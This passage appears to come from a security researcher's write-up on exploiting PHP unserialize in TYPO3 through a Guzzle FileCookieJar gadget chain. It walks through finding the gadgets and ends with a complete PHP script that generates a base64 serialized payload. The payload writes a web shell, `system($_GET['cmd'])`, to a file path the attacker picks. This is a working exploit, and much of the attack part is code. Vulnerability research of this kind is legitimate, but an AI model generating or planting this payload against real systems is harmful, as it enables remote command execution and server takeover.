Now that we have an unserialize we need to find some gadgets. Either you search by hand or the audited application uses known libraries and I recommend using phpgcc from Ambionics.

To quote what is explained on the github repository:

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don’t have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff’s ysoserial, but for PHP. Currently, the tool supports: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

It turned out that I spent a little bit of time looking for a gadget chain, and when I finally found one, I realized that it was already implemented in phpgcc 3 years ago, that is why I recommend it to you.

The chain

With grep, I searched for references to the following functions:

  • __wakeup()
  • __toString()
  • __destruct()
  • __call()
▶ grep -R "__wakeup(\|__toString(\|__destruct(\|__call("

...

typo3_src/vendor/guzzlehttp/guzzle/src/Client.php:    public function __call($method, $args)
typo3_src/vendor/guzzlehttp/guzzle/src/HandlerStack.php:    public function __toString()
typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php:    public function __toString()
typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php:    public function __destruct()
typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:    public function __destruct()
typo3_src/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php:    public function __destruct()

...

And it was with function __destruct() of class FileCookieJar that I found what I was looking for.

File: <ROOT>/typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

public function __destruct()
{
    $this->save($this->filename);
}

File: <ROOT>/typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

As it can be seen above, function file_put_contents() is called from function save(). Let’s look at the function CookieJar::shouldPersist() from the class CookieJarInterface and the constructor of the class SetCookie below:

File: <ROOT>/typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php

public static function shouldPersist(SetCookie $cookie, $allowSessionCookies = false) {
    if ($cookie->getExpires() || $allowSessionCookies) {
        if (!$cookie->getDiscard()) {
            return true;
        }
    }

    return false;
}

File:<ROOT>/typo3_src/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php

class SetCookie
{
    /** @var array */
    private static $defaults = [
        'Name'     => null,
        'Value'    => null,
        'Domain'   => null,
        'Path'     => '/',
        'Max-Age'  => null,
        'Expires'  => null,
        'Secure'   => false,
        'Discard'  => false,
        'HttpOnly' => false
    ];

    /** @var array Cookie data */
    private $data;

    ...

    /**
     * @param array $data Array of cookie data provided by a Cookie parser
     */
    public function __construct(array $data = [])
    {
        $this->data = array_replace(self::$defaults, $data);
        // Extract the Expires value and turn it into a UNIX timestamp if needed
        if (!$this->getExpires() && $this->getMaxAge()) {
            // Calculate the Expires date
            $this->setExpires(time() + $this->getMaxAge());
        } elseif ($this->getExpires() && !is_numeric($this->getExpires())) {
            $this->setExpires($this->getExpires());
        }
    }

    ...

Now that we have all the information we’ve been looking for, let’s stick all the pieces together…

<?php
namespace GuzzleHttp\Cookie;

class SetCookie {
    private static $defaults = [
        'Name'     => null,
        'Value'    => null,
        'Domain'   => null,
        'Path'     => '/',
        'Max-Age'  => null,
        'Expires'  => null,
        'Secure'   => false,
        'Discard'  => false,
        'HttpOnly' => false
    ];
    private $data;

    public function __construct() {
        $this->data = array_replace(self::$defaults, ["Value" => "<?php system(\$_GET['cmd']); ?>", "Expires"  => 1]);
    }
}

class CookieJar {
    private $cookies;
    private $strictMode = false;

    public function __construct() {
        $this->cookies = [new SetCookie()];
    }
}

class FileCookieJar extends CookieJar {
    private $filename;
    private $storeSessionCookies = true;

    public function __construct($filename) {
        parent::__construct();
        $this->filename = $filename;
    }
}

$p[0] = 0;
$p[1] = new FileCookieJar($argv[1]);

$s = serialize($p);
$b = base64_encode($s);
echo $b;

Ref